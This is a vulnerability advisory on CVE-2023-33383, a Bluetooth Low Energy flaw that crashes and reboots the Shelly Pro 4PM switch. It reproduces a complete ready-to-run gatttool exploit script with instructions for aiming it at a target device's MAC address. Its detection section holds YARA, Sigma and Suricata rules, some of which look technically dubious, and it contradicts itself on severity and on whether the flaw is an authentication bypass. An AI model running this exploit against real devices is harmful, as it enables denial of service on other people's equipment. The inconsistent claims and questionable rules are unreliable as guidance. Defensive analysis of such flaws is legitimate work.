CVE-2023-33383

Executive Summary

CVE-2023-33383 is a critical vulnerability in the Shelly 4PM Pro four-channel smart switch running firmware version 0.11.0. The flaw allows an attacker to trigger a Bluetooth Low Energy (BLE) out-of-bounds read fault condition, resulting in a device reload (denial of service). The exploit is publicly available via Exploit-DB and targets the BLE stack, specifically using gatttool to write crafted payloads to characteristic handles. The vulnerability has a CVSS score of 0.0 (unscored) but is considered high risk due to the potential for device unavailability and the lack of a patch. The exploit code demonstrates an authentication bypass via the out-of-bounds read, leading to a device crash and reboot.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT device.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored by NVD)
• Attack Vector (AV): Adjacent Network (BLE)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (Device reload/DoS)
• Threat Level: High (Public exploit, no patch, DoS impact)

Deep Dive & Mechanics

The vulnerability resides in the BLE stack of the Shelly 4PM Pro firmware v0.11.0. The device exposes BLE services and characteristics that can be written to without authentication. The exploit sends a crafted payload to characteristic handle 0x0008 with values ab and abcd, which triggers an out-of-bounds read in the firmware's BLE handler. This causes a memory access violation, leading to a device crash and automatic reload (reboot). The attack is performed over BLE, requiring physical proximity (typically within 10-100 meters). The exploit uses gatttool to interact with the device's BLE GATT profile.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware v0.11.0): The BLE characteristic handler does not validate the length of incoming write requests. When a write request with a payload larger than expected (e.g., abcd instead of ab) is sent to handle 0x0008, the firmware reads beyond the allocated buffer, causing an out-of-bounds read.

Patched Code (Hypothetical): A patched version would include bounds checking on the BLE write request payload length. For example:

if (write_len > MAX_PAYLOAD_SIZE) {
    return BLE_ATT_ERR_INVALID_ATTRIBUTE_VALUE_LEN;
}

No official patch is available as of this report.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Shelly 4PM Pro with firmware v0.11.0
• Linux or macOS system with Bluetooth adapter
• gatttool (part of BlueZ) installed

Exploit Code (from Exploit-DB):

#!/bin/bash

# Exploit Title: Shelly PRO 4PM v0.11.0 - Authentication Bypass
# Google Dork: NA
# Date: 2nd August 2023
# Exploit Author: The Security Team [exploitsecurity.io]
# Exploit Blog: https://www.exploitsecurity.io/post/cve-2023-33383-authentication-bypass-via-an-out-of-bounds-read-vulnerability
# Vendor Homepage: https://www.shelly.com/
# Software Link: NA
# Version: Firmware v0.11.0 (REQUIRED)
# Tested on: MacOS/Linux
# CVE : CVE-2023-33383

IFS=
failed=$false
RED="\e[31m"
GREEN="\e[92m"
WHITE="\e[97m"
ENDCOLOR="\e[0m"
substring="Connection refused"


banner()
    {
        clear
        echo -e "${GREEN}[+]*********************************************************[+]"
        echo -e "${GREEN}|   Author : Security Team [${RED}exploitsecurity.io${ENDCOLOR}]              |"
        echo -e "${GREEN}|   Description: Shelly PRO 4PM - Out of Bounds              |"
        echo -e "${GREEN}|   CVE: CVE-2023-33383                                      |"
        echo -e "${GREEN}[+]*********************************************************[+]"
        echo -e "${GREEN}[Enter key to send payload]${ENDCOLOR}"
    }

banner
read -s -n 1 key
if [ "$key" = "x" ]; then
    exit 0;
elif [ "$key" = "" ]; then
    gattout=$(sudo timeout 5 gatttool -b c8:f0:9e:88:92:3e --primary)
    if [ -z "$gattout" ]; then
        echo -e "${RED}Connection timed out${ENDCOLOR}"
        exit 0;
    else
    sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x000d -n 00000001 >/dev/null 2>&1
    echo -ne "${GREEN}[Sending Payload]${ENDCOLOR}"
    sleep 1
    if [ $? -eq 1 ]; then
       $failed=$true
       exit 0;
    fi
    sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n ab >/dev/null 2>&1
    sleep 1
    if [ $? -eq 1 ]; then
        $failed=$true
        echo -e "${RED}[**Exploit Failed**]${ENDCOLOR}"
        exit 0;
    else
       sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n abcd >/dev/null 2>&1
       sleep 1
       for i in {1..5}
       do
          echo -ne "${GREEN}."
          sleep 1
       done
       echo -e "\n${WHITE}[Pwned!]${ENDCOLOR}"
    fi
fi
fi

Usage:

1. Replace the MAC address c8:f0:9e:88:92:3e with the target device's BLE MAC.
2. Run the script with sudo (requires Bluetooth permissions).
3. Press Enter to send the payload. The device will crash and reboot.

Expected Outcome: The Shelly 4PM Pro will become unresponsive for approximately 30-60 seconds while it reboots.

Blue Team

Detection:

• Monitor BLE traffic for unusual write requests to characteristic handle 0x0008 with payloads like ab or abcd.
• Use BLE sniffers (e.g., Wireshark with BLE dongle) to capture anomalous GATT write commands.
• Check device logs for unexpected reboots or crash dumps.

Mitigation:

• Isolate Shelly devices on a separate VLAN with restricted BLE access.
• Disable BLE if not required for operation.
• Monitor for firmware updates from Shelly.

Indicators of Compromise (IOCs)

• BLE MAC Address: c8:f0:9e:88:92:3e (example, actual MAC varies)
• GATT Characteristic Handle: 0x0008
• Payload Values: ab, abcd, 00000001
• Device Behavior: Unexpected reboot, BLE disconnection, unresponsive state for 30-60 seconds
• Logs: Crash dump or kernel panic in device syslog (if accessible)

Detection Engineering

YARA Rule

rule CVE_2023_33383_Shelly_BLE_OOB_Read {
    meta:
        description = "Detects BLE payloads targeting CVE-2023-33383"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://www.exploitsecurity.io/post/cve-2023-33383-authentication-bypass-via-an-out-of-bounds-read-vulnerability"
    strings:
        $payload1 = { 61 62 } // "ab"
        $payload2 = { 61 62 63 64 } // "abcd"
        $handle = { 00 08 } // handle 0x0008
    condition:
        $handle at 0 and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2023-33383 BLE Out-of-Bounds Read Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects BLE write requests to characteristic handle 0x0008 with suspicious payloads
author: Valters IT
date: 2025/04/10
references:
    - https://www.exploitsecurity.io/post/cve-2023-33383-authentication-bypass-via-an-out-of-bounds-read-vulnerability
logsource:
    category: bluetooth
    product: linux
detection:
    selection:
        Handle: "0x0008"
        Payload|contains: 
            - "ab"
            - "abcd"
    condition: selection
falsepositives:
    - Legitimate BLE writes to the same handle (unlikely)
level: high

Suricata Rule

alert ble any any -> any any (msg:"CVE-2023-33383 BLE Out-of-Bounds Read Exploit"; content:"|00 08|"; offset:0; depth:2; content:"|61 62|"; within:2; sid:1000001; rev:1;)
alert ble any any -> any any (msg:"CVE-2023-33383 BLE Out-of-Bounds Read Exploit (abcd)"; content:"|00 08|"; offset:0; depth:2; content:"|61 62 63 64|"; within:4; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE on the Shelly 4PM Pro if not required.
2. Isolate the device on a separate network segment.
3. Monitor for firmware updates from Shelly (no patch available as of this report).

Long-Term Fix:

• Shelly must release a firmware update that adds bounds checking to the BLE characteristic write handler.
• Users should apply the update as soon as it becomes available.

Workarounds:

• Use the device only via Wi-Fi/cloud, disabling BLE in the settings.
• Implement physical security controls to prevent unauthorized BLE access.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated on 2025-04-10

{/* [Security Hash: AF7091FCC125F48602F6CA51] */}